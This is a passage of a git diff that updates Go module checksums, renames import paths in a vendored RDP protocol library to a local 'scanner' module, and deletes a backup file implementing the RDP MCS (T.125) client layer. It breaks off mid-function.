h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= +golang.org/x/text v0.37.0 h1:Cqjiwd9eSg8e0QAkyCaQTNHFIIzWtidPahFWR83rTrc= +golang.org/x/text v0.37.0/go.mod h1:a5sjxXGs9hsn/AJVwuElvCAo9v8QYLzvavO5z2PiM38= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= @@ -251,8 +239,6 @@ golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= -golang.org/x/tools v0.42.0 h1:uNgphsn75Tdz5Ji2q36v/nsFSfR/9BRFvqhGBaJGd5k= -golang.org/x/tools v0.42.0/go.mod h1:Ma6lCIwGZvHK6XtgbswSoWroEkhugApmsXyrUmBhfr0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= @@ -271,9 +257,8 @@ google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQ google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= -google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= -google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI= +google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= @@ -287,31 +272,3 @@ gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -modernc.org/cc/v4 v4.28.2 h1:3tQ0lf2ADtoby2EtSP+J7IE2SHwEJdP8ioR59wx7XpY= -modernc.org/cc/v4 v4.28.2/go.mod h1:OnovgIhbbMXMu1aISnJ0wvVD1KnW+cAUJkIrAWh+kVI= -modernc.org/ccgo/v4 v4.34.0 h1:yRLPFZieg532OT4rp4JFNIVcquwalMX26G95WQDqwCQ= -modernc.org/ccgo/v4 v4.34.0/go.mod h1:AS5WYMyBakQ+fhsHhtP8mWB82KTGPkNNJDGfGQCe0/A= -modernc.org/fileutil v1.4.0 h1:j6ZzNTftVS054gi281TyLjHPp6CPHr2KCxEXjEbD6SM= -modernc.org/fileutil v1.4.0/go.mod h1:EqdKFDxiByqxLk8ozOxObDSfcVOv/54xDs/DUHdvCUU= -modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI= -modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito= -modernc.org/gc/v3 v3.1.2 h1:ZtDCnhonXSZexk/AYsegNRV1lJGgaNZJuKjJSWKyEqo= -modernc.org/gc/v3 v3.1.2/go.mod h1:HFK/6AGESC7Ex+EZJhJ2Gni6cTaYpSMmU/cT9RmlfYY= -modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks= -modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI= -modernc.org/libc v1.72.3 h1:ZnDF4tXn4NBXFutMMQC4vtbTFSXhhKzR73fv0beZEAU= -modernc.org/libc v1.72.3/go.mod h1:dn0dZNnnn1clLyvRxLxYExxiKRZIRENOfqQ8XEeg4Qs= -modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU= -modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg= -modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI= -modernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw= -modernc.org/opt v0.2.0 h1:tGyef5ApycA7FSEOMraay9SaTk5zmbx7Tu+cJs4QKZg= -modernc.org/opt v0.2.0/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns= -modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w= -modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE= -modernc.org/sqlite v1.39.0 h1:6bwu9Ooim0yVYA7IZn9demiQk/Ejp0BtTjBWFLymSeY= -modernc.org/sqlite v1.39.0/go.mod h1:cPTJYSlgg3Sfg046yBShXENNtPrWrDX8bsbAQBzgQ5E= -modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0= -modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A= -modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y= -modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= diff --git a/libs/grdp/core/io.go b/libs/grdp/core/io.go index 11b35ec0..8f06f551 100644 --- a/libs/grdp/core/io.go +++ b/libs/grdp/core/io.go @@ -2,7 +2,7 @@ package core import ( "encoding/binary" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/glog" "io" ) diff --git a/libs/grdp/core/types.go b/libs/grdp/core/types.go index 40335f85..73c15d48 100644 --- a/libs/grdp/core/types.go +++ b/libs/grdp/core/types.go @@ -1,6 +1,6 @@ package core -import "github.com/shadow1ng/fscan/libs/grdp/emission" +import "scanner/libs/grdp/emission" type Transport interface { Read(b []byte) (n int, err error) diff --git a/libs/grdp/login/screen.go b/libs/grdp/login/screen.go index aa2c44e4..cdf5796c 100644 --- a/libs/grdp/login/screen.go +++ b/libs/grdp/login/screen.go @@ -3,14 +3,14 @@ package login import ( "errors" "fmt" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/protocol/nla" - "github.com/shadow1ng/fscan/libs/grdp/protocol/pdu" - "github.com/shadow1ng/fscan/libs/grdp/protocol/sec" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125" - "github.com/shadow1ng/fscan/libs/grdp/protocol/tpkt" - "github.com/shadow1ng/fscan/libs/grdp/protocol/x224" + "scanner/libs/grdp/core" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/protocol/nla" + "scanner/libs/grdp/protocol/pdu" + "scanner/libs/grdp/protocol/sec" + "scanner/libs/grdp/protocol/t125" + "scanner/libs/grdp/protocol/tpkt" + "scanner/libs/grdp/protocol/x224" "golang.org/x/net/context" "golang.org/x/net/proxy" "log" diff --git a/libs/grdp/protocol/lic/lic.go b/libs/grdp/protocol/lic/lic.go index 8c74d456..bcd6e641 100644 --- a/libs/grdp/protocol/lic/lic.go +++ b/libs/grdp/protocol/lic/lic.go @@ -3,7 +3,7 @@ package lic import ( "io" - "github.com/shadow1ng/fscan/libs/grdp/core" + "scanner/libs/grdp/core" ) const ( diff --git a/libs/grdp/protocol/nla/cssp.go b/libs/grdp/protocol/nla/cssp.go index 8befec46..17513df2 100644 --- a/libs/grdp/protocol/nla/cssp.go +++ b/libs/grdp/protocol/nla/cssp.go @@ -3,7 +3,7 @@ package nla import ( "encoding/asn1" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/glog" ) type NegoToken struct { diff --git a/libs/grdp/protocol/nla/encode.go b/libs/grdp/protocol/nla/encode.go index bc85c9de..b3e238e4 100644 --- a/libs/grdp/protocol/nla/encode.go +++ b/libs/grdp/protocol/nla/encode.go @@ -6,7 +6,7 @@ import ( "crypto/rc4" "strings" - "github.com/shadow1ng/fscan/libs/grdp/core" + "scanner/libs/grdp/core" "golang.org/x/crypto/md4" ) diff --git a/libs/grdp/protocol/nla/ntlm.go b/libs/grdp/protocol/nla/ntlm.go index ba151724..1402b593 100644 --- a/libs/grdp/protocol/nla/ntlm.go +++ b/libs/grdp/protocol/nla/ntlm.go @@ -9,8 +9,8 @@ import ( "time" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/core" + "scanner/libs/grdp/glog" ) const ( diff --git a/libs/grdp/protocol/pdu/caps.go b/libs/grdp/protocol/pdu/caps.go index b7589f25..a44e2778 100644 --- a/libs/grdp/protocol/pdu/caps.go +++ b/libs/grdp/protocol/pdu/caps.go @@ -7,11 +7,11 @@ import ( "fmt" "io" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/glog" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" + "scanner/libs/grdp/core" + "scanner/libs/grdp/protocol/t125/gcc" ) type CapsType uint16 diff --git a/libs/grdp/protocol/pdu/data.go b/libs/grdp/protocol/pdu/data.go index ae64df40..963bee34 100644 --- a/libs/grdp/protocol/pdu/data.go +++ b/libs/grdp/protocol/pdu/data.go @@ -7,8 +7,8 @@ import ( "io" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/core" + "scanner/libs/grdp/glog" ) const ( diff --git a/libs/grdp/protocol/pdu/pdu.go b/libs/grdp/protocol/pdu/pdu.go index ed83a0cf..db91c35e 100644 --- a/libs/grdp/protocol/pdu/pdu.go +++ b/libs/grdp/protocol/pdu/pdu.go @@ -3,10 +3,10 @@ package pdu import ( "bytes" "encoding/hex" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/emission" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" + "scanner/libs/grdp/core" + "scanner/libs/grdp/emission" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/protocol/t125/gcc" ) type PDULayer struct { diff --git a/libs/grdp/protocol/sec/sec.go b/libs/grdp/protocol/sec/sec.go index 1c0e58e3..dd55b258 100644 --- a/libs/grdp/protocol/sec/sec.go +++ b/libs/grdp/protocol/sec/sec.go @@ -15,14 +15,14 @@ import ( "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/libs/grdp/protocol/nla" - - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/emission" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/protocol/lic" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" + "scanner/libs/grdp/protocol/nla" + + "scanner/libs/grdp/core" + "scanner/libs/grdp/emission" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/protocol/lic" + "scanner/libs/grdp/protocol/t125" + "scanner/libs/grdp/protocol/t125/gcc" ) /** diff --git a/libs/grdp/protocol/sec/sec_test.go b/libs/grdp/protocol/sec/sec_test.go index 88cef35d..da8f5e23 100644 --- a/libs/grdp/protocol/sec/sec_test.go +++ b/libs/grdp/protocol/sec/sec_test.go @@ -3,8 +3,8 @@ package sec import ( "testing" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/protocol/t125/gcc" ) func TestGenerateKeysRejectsShortRandoms(t *testing.T) { diff --git a/libs/grdp/protocol/t125/ber/ber.go b/libs/grdp/protocol/t125/ber/ber.go index f98ca9ed..cf129afa 100644 --- a/libs/grdp/protocol/t125/ber/ber.go +++ b/libs/grdp/protocol/t125/ber/ber.go @@ -5,7 +5,7 @@ import ( "fmt" "io" - "github.com/shadow1ng/fscan/libs/grdp/core" + "scanner/libs/grdp/core" ) const ( diff --git a/libs/grdp/protocol/t125/gcc/gcc.go b/libs/grdp/protocol/t125/gcc/gcc.go index 58a4fc5a..eb37b518 100644 --- a/libs/grdp/protocol/t125/gcc/gcc.go +++ b/libs/grdp/protocol/t125/gcc/gcc.go @@ -11,11 +11,11 @@ import ( "io" "math/big" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/glog" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/per" + "scanner/libs/grdp/core" + "scanner/libs/grdp/protocol/t125/per" ) var t124_02_98_oid = []byte{0, 0, 20, 124, 0, 1} diff --git a/libs/grdp/protocol/t125/mcs.go b/libs/grdp/protocol/t125/mcs.go index 646df608..1445940c 100644 --- a/libs/grdp/protocol/t125/mcs.go +++ b/libs/grdp/protocol/t125/mcs.go @@ -8,12 +8,12 @@ import ( "io" "reflect" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/emission" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/ber" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/per" + "scanner/libs/grdp/core" + "scanner/libs/grdp/emission" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/protocol/t125/ber" + "scanner/libs/grdp/protocol/t125/gcc" + "scanner/libs/grdp/protocol/t125/per" ) // take idea from https://github.com/Madnikulin50/gordp diff --git a/libs/grdp/protocol/t125/mcs.go.bak b/libs/grdp/protocol/t125/mcs.go.bak deleted file mode 100644 index fbdc894a..00000000 --- a/libs/grdp/protocol/t125/mcs.go.bak +++ /dev/null @@ -1,574 +0,0 @@ -package t125 - -import ( - "bytes" - "encoding/hex" - "errors" - "fmt" - "io" - "reflect" - - "github.com/xxx/wscan/mylib/grdp/plugin/rail" - - "github.com/xxx/wscan/mylib/grdp/plugin/drdynvc" - - "github.com/xxx/wscan/mylib/grdp/core" - "github.com/xxx/wscan/mylib/grdp/emission" - "github.com/xxx/wscan/mylib/grdp/glog" - "github.com/xxx/wscan/mylib/grdp/protocol/t125/ber" - "github.com/xxx/wscan/mylib/grdp/protocol/t125/gcc" - "github.com/xxx/wscan/mylib/grdp/protocol/t125/per" -) - -// take idea from https://github.com/Madnikulin50/gordp - -// Multiple Channel Service layer - -type MCSMessage uint8 - -const ( - MCS_TYPE_CONNECT_INITIAL MCSMessage = 0x65 - MCS_TYPE_CONNECT_RESPONSE = 0x66 -) - -type MCSDomainPDU uint16 - -const ( - ERECT_DOMAIN_REQUEST MCSDomainPDU = 1 - DISCONNECT_PROVIDER_ULTIMATUM = 8 - ATTACH_USER_REQUEST = 10 - ATTACH_USER_CONFIRM = 11 - CHANNEL_JOIN_REQUEST = 14 - CHANNEL_JOIN_CONFIRM = 15 - SEND_DATA_REQUEST = 25 - SEND_DATA_INDICATION = 26 -) - -const ( - MCS_GLOBAL_CHANNEL_ID uint16 = 1003 - MCS_USERCHANNEL_BASE = 1001 -) - -const ( - GLOBAL_CHANNEL_NAME = "global" -) - -/** - * Format MCS PDULayer header packet - * @param mcsPdu {integer} - * @param options {integer} - * @returns {type.UInt8} headers - */ -func writeMCSPDUHeader(mcsPdu MCSDomainPDU, options uint8, w io.Writer) { - core.WriteUInt8((uint8(mcsPdu)<<2)|options, w) -} - -func readMCSPDUHeader(options uint8, mcsPdu MCSDomainPDU) bool { - return (options >> 2) == uint8(mcsPdu) -} - -type DomainParameters struct { - MaxChannelIds int - MaxUserIds int - MaxTokenIds int - NumPriorities int - MinThoughput int - MaxHeight int - MaxMCSPDUsize int - ProtocolVersion int -} - -/** - * @see http://www.itu.int/rec/T-REC-T.125-199802-I/en page 25 - * @returns {asn1.univ.Sequence} - */ -func NewDomainParameters( - maxChannelIds int, - maxUserIds int, - maxTokenIds int, - numPriorities int, - minThoughput int, - maxHeight int, - maxMCSPDUsize int, - protocolVersion int) *DomainParameters { - return &DomainParameters{maxChannelIds, maxUserIds, maxTokenIds, - numPriorities, minThoughput, maxHeight, maxMCSPDUsize, protocolVersion} -} - -func (d *DomainParameters) BER() []byte { - buff := &bytes.Buffer{} - ber.WriteInteger(d.MaxChannelIds, buff) - ber.WriteInteger(d.MaxUserIds, buff) - ber.WriteInteger(d.MaxTokenIds, buff) - ber.WriteInteger(1, buff) - ber.WriteInteger(0, buff) - ber.WriteInteger(1, buff) - ber.WriteInteger(d.MaxMCSPDUsize, buff) - ber.WriteInteger(2, buff) - return buff.Bytes() -} - -func ReadDomainParameters(r io.Reader) (*DomainParameters, error) { - if !ber.ReadUniversalTag(ber.TAG_SEQUENCE, true, r) { - return nil, errors.New("bad BER tags") - } - d := &DomainParameters{} - ber.ReadLength(r) - - d.MaxChannelIds, _ = ber.ReadInteger(r) - d.MaxUserIds, _ = ber.ReadInteger(r) - d.MaxTokenIds, _ = ber.ReadInteger(r) - ber.ReadInteger(r) - ber.ReadInteger(r) - ber.ReadInteger(r) - d.MaxMCSPDUsize, _ = ber.ReadInteger(r) - ber.ReadInteger(r) - return d, nil -} - -/** - * @see http://www.itu.int/rec/T-REC-T.125-199802-I/en page 25 - * @param userData {Buffer} - * @returns {asn1.univ.Sequence} - */ -type ConnectInitial struct { - CallingDomainSelector []byte - CalledDomainSelector []byte - UpwardFlag bool - TargetParameters DomainParameters - MinimumParameters DomainParameters - MaximumParameters DomainParameters - UserData []byte -} - -func NewConnectInitial(userData []byte) ConnectInitial { - return ConnectInitial{[]byte{0x1}, - []byte{0x1}, - true, - *NewDomainParameters(34, 2, 0, 1, 0, 1, 0xffff, 2), - *NewDomainParameters(1, 1, 1, 1, 0, 1, 0x420, 2), - *NewDomainParameters(0xffff, 0xfc17, 0xffff, 1, 0, 1, 0xffff, 2), - userData} -} - -func (c *ConnectInitial) BER() []byte { - buff := &bytes.Buffer{} - ber.WriteOctetstring(string(c.CallingDomainSelector), buff) - ber.WriteOctetstring(string(c.CalledDomainSelector), buff) - ber.WriteBoolean(c.UpwardFlag, buff) - ber.WriteEncodedDomainParams(c.TargetParameters.BER(), buff) - ber.WriteEncodedDomainParams(c.MinimumParameters.BER(), buff) - ber.WriteEncodedDomainParams(c.MaximumParameters.BER(), buff) - ber.WriteOctetstring(string(c.UserData), buff) - return buff.Bytes() -} - -/** - * @see http://www.itu.int/rec/T-REC-T.125-199802-I/en page 25 - * @returns {asn1.univ.Sequence} - */ - -type ConnectResponse struct { - result uint8 - calledConnectId int - domainParameters *DomainParameters - userData []byte -} - -func NewConnectResponse(userData []byte) *ConnectResponse { - return &ConnectResponse{0, - 0, - NewDomainParameters(22, 3, 0, 1, 0, 1, 0xfff8, 2), - userData} -} - -func ReadConnectResponse(r io.Reader) (*ConnectResponse, error) { - c := &ConnectResponse{} - var err error - _, err = ber.ReadApplicationTag(MCS_TYPE_CONNECT_RESPONSE, r) - if err != nil { - return nil, err - } - c.result, err = ber.ReadEnumerated(r) - if err != nil { - return nil, err - } - - c.calledConnectId, err = ber.ReadInteger(r) - c.domainParameters, err = ReadDomainParameters(r) - if err != nil { - return nil, err - } - if !ber.ReadUniversalTag(ber.TAG_OCTET_STRING, false, r) { - return nil, errors.New("invalid expected BER tag") - } - dataLen, _ := ber.ReadLength(r) - c.userData, err = core.ReadBytes(dataLen, r) - return c, err -} - -type MCSChannelInfo struct { - ID uint16 - Name string -} - -type MCS struct { - emission.Emitter - transport core.Transport - recvOpCode MCSDomainPDU - sendOpCode MCSDomainPDU - channels []MCSChannelInfo -} - -func NewMCS(t core.Transport, recvOpCode MCSDomainPDU, sendOpCode MCSDomainPDU) *MCS { - m := &MCS{ - *emission.NewEmitter(), - t, - recvOpCode, - sendOpCode, - []MCSChannelInfo{{MCS_GLOBAL_CHANNEL_ID, GLOBAL_CHANNEL_NAME}}, - } - - m.transport.On("close", func() { - m.Emit("close") - }).On("error", func(err error) { - m.Emit("error", err) - }) - return m -} - -func (x *MCS) Read(b []byte) (n int, err error) { - return x.transport.Read(b) -} - -func (x *MCS) Write(b []byte) (n int, err error) { - return x.transport.Write(b) -} - -func (m *MCS) Close() error { - return m.transport.Close() -} - -type MCSClient struct { - *MCS - clientCoreData *gcc.ClientCoreData - clientNetworkData *gcc.ClientNetworkData - clientSecurityData *gcc.ClientSecurityData - - serverCoreData *gcc.ServerCoreData - serverNetworkData *gcc.ServerNetworkData - serverSecurityData *gcc.ServerSecurityData - - channelsConnected int - userId uint16 - nbChannelRequested int -} - -func NewMCSClient(t core.Transport) *MCSClient { - c := &MCSClient{ - MCS: NewMCS(t, SEND_DATA_INDICATION, SEND_DATA_REQUEST), - clientCoreData: gcc.NewClientCoreData(), - clientNetworkData: gcc.NewClientNetworkData(), - clientSecurityData: gcc.NewClientSecurityData(), - userId: 1 + MCS_USERCHANNEL_BASE, - } - c.transport.On("connect", c.connect) - return c -} - -func (c *MCSClient) SetClientDesktop(width, height uint16) { - c.clientCoreData.DesktopWidth = width - c.clientCoreData.DesktopHeight = height -} - -func (c *MCSClient) SetClientDynvcProtocol() { - c.clientCoreData.EarlyCapabilityFlags = gcc.RNS_UD_CS_SUPPORT_DYNVC_GFX_PROTOCOL - c.clientNetworkData.AddVirtualChannel(drdynvc.ChannelName, drdynvc.ChannelOption) -} - -func (c *MCSClient) SetClientRemoteProgram() { - c.clientNetworkData.AddVirtualChannel(rail.ChannelName, rail.ChannelOption) -} - -func (c *MCSClient) SetClientCliprdr() { - //c.clientNetworkData.AddVirtualChannel(cliprdr.ChannelName, cliprdr.ChannelOption) -} - -func (c *MCSClient) connect(selectedProtocol uint32) { - glog.Debug("mcs client on connect", selectedProtocol) - c.clientCoreData.ServerSelectedProtocol = selectedProtocol - - glog.Debugf("clientCoreData:%+v", c.clientCoreData) - glog.Debugf("clientNetworkData:%+v", c.clientNetworkData) - glog.Debugf("clientSecurityData:%+v", c.clientSecurityData) - // sendConnectclientCoreDataInitial - userDataBuff := bytes.Buffer{} - userDataBuff.Write(c.clientCoreData.Pack()) - userDataBuff.Write(c.clientNetworkData.Pack()) - userDataBuff.Write(c.clientSecurityData.Pack()) - - ccReq := gcc.MakeConferenceCreateRequest(userDataBuff.Bytes()) - connectInitial := NewConnectInitial(ccReq) - connectInitialBerEncoded := connectInitial.BER() - - dataBuff := &bytes.Buffer{} - ber.WriteApplicationTag(uint8(MCS_TYPE_CONNECT_INITIAL), len(connectInitialBerEncoded), dataBuff) - dataBuff.Write(connectInitialBerEncoded) - - _, err := c.transport.Write(dataBuff.Bytes()) - if err != nil { - c.Emit("error", errors.New(fmt.Sprintf("mcs sendConnectInitial write error %v", err))) - return - } - glog.Debug("mcs wait for data event") - c.transport.Once("data", c.recvConnectResponse) -} - -func (c *MCSClient) recvConnectResponse(s []byte) { - glog.Trace("mcs recvConnectResponse", hex.EncodeToString(s)) - cResp, err := ReadConnectResponse(bytes.NewReader(s)) - if err != nil { - c.Emit("error", errors.New(fmt.Sprintf("ReadConnectResponse %v", err))) - return - } - // record server gcc block - serverSettings := gcc.ReadConferenceCreateResponse(cResp.userData) - for _, v := range serverSettings { - switch v.(type) { - case *gcc.ServerSecurityData: - c.serverSecurityData = v.(*gcc.ServerSecurityData) - - case *gcc.ServerCoreData: - c.serverCoreData = v.(*gcc.ServerCoreData) - - case *gcc.ServerNetworkData: - c.serverNetworkData = v.(*gcc.ServerNetworkData) - - default: - err := errors.New(fmt.Sprintf("unhandle server gcc block %v", reflect.TypeOf(v))) - glog.Error(err) - c.Emit("error", err) - return - } - } - glog.Debugf("serverSecurityData: %+v", c.serverSecurityData) - glog.Debugf("serverCoreData: %+v", c.serverCoreData) - glog.Debugf("serverNetworkData: %+v", c.serverNetworkData) - glog.Debug("mcs sendErectDomainRequest") - c.sendErectDomainRequest() - - glog.Debug("mcs sendAttachUserRequest") - c.sendAttachUserRequest() - - c.transport.Once("data", c.recvAttachUserConfirm) -} - -func (c *MCSClient) sendErectDomainRequest() { - buff := &bytes.Buffer{} - writeMCSPDUHeader(ERECT_DOMAIN_REQUEST, 0, buff) - per.WriteInteger(0, buff) - per.WriteInteger(0, buff) - c.transport.Write(buff.Bytes()) -} - -func (c *MCSClient) sendAttachUserRequest() { - buff := &bytes.Buffer{} - writeMCSPDUHeader(ATTACH_USER_REQUEST, 0, buff) - c.transport.Write(buff.Bytes()) -} - -func (c *MCSClient) recvAttachUserConfirm(s []byte) { - glog.Debug("mcs recvAttachUserConfirm", hex.EncodeToString(s)) - r := bytes.NewReader(s) - - option, err := core.ReadUInt8(r) - if err != nil { - c.Emit("error", err) - return - } - - if !readMCSPDUHeader(option, ATTACH_USER_CONFIRM) { - c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_BAD_HEADER")) - return - } - - e, err := per.ReadEnumerates(r) - if err != nil { - c.Emit("error", err) - return - } - if e != 0 { - c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_SERVER_REJECT_USER'")) - return - } - - userId, _ := per.ReadInteger16(r) - userId += MCS_USERCHANNEL_BASE - c.userId = userId - - c.channels = append(c.channels, MCSChannelInfo{userId, "user"}) - c.connectChannels() -} - -func (c *MCSClient) connectChannels() { - glog.Debug("mcs connectChannels:", c.channelsConnected, ":", len(c.channels)) - if c.channelsConnected == len(c.channels) { - if c.nbChannelRequested < int(c.serverNetworkData.ChannelCount) { - //static virtual channel - chanId := c.serverNetworkData.ChannelIdArray[c.nbChannelRequested] - c.nbChannelRequested++ - c.sendChannelJoinRequest(chanId) - c.transport.Once("data", c.recvChannelJoinConfirm) - return - } - c.transport.On("data", c.recvData) - // send client and sever gcc informations callback to sec - clientData := make([]interface{}, 0) - clientData = append(clientData, c.clientCoreData) - clientData = append(clientData, c.clientSecurityData) - clientData = append(clientData, c.clientNetworkData) - - serverData := make([]interface{}, 0) - serverData = append(serverData, c.serverCoreData) - serverData = append(serverData, c.serverSecurityData) - glog.Debug("msc connectChannels callback to sec") - c.Emit("connect", clientData, serverData, c.userId, c.channels) - return - } - - // sendChannelJoinRequest - glog.Debug("sendChannelJoinRequest:", c.channels[c.channelsConnected].Name) - c.sendChannelJoinRequest(c.channels[c.channelsConnected].ID) - - c.transport.Once("data", c.recvChannelJoinConfirm) -} - -func (c *MCSClient) 